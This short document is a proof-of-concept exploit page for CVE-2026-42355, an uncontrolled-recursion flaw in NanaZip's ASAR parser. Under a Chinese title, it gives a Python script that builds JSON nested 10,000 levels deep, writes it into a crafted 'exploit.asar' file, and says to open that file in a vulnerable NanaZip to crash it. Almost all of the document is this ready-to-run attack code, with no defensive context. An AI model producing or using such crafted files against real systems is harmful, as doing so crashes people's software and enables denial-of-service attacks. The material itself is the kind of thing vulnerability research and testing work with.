CVE-2026-42355 NanaZip ASAR解析器未控制递归漏洞

import json import struct import os # Create a deeply nested JSON structure to trigger stack overflow deep_json = {} current = deep_json # Set recursion depth (e.g., 10000) to exceed stack limit recursion_depth = 10000 for _ in range(recursion_depth): current["next"] = {} current = current["next"] current["payload"] = "crash" # Convert to JSON string json_str = json.dumps(deep_json, separators=(',', ':')) # ASAR file format: 4-byte size (little endian) + JSON + file content header_size = len(json_str) header = struct.pack("<I", header_size) + json_str.encode('utf-8') # Write the crafted ASAR file filename = "exploit.asar" with open(filename, "wb") as f: f.write(header) # Append dummy content f.write(b"MALICIOUS_CONTENT") print(f"[+] Crafted ASAR file saved as {filename}") print(f"[+] JSON nesting depth: {recursion_depth}") print("[+] Open this file with a vulnerable version of NanaZip to trigger the crash.")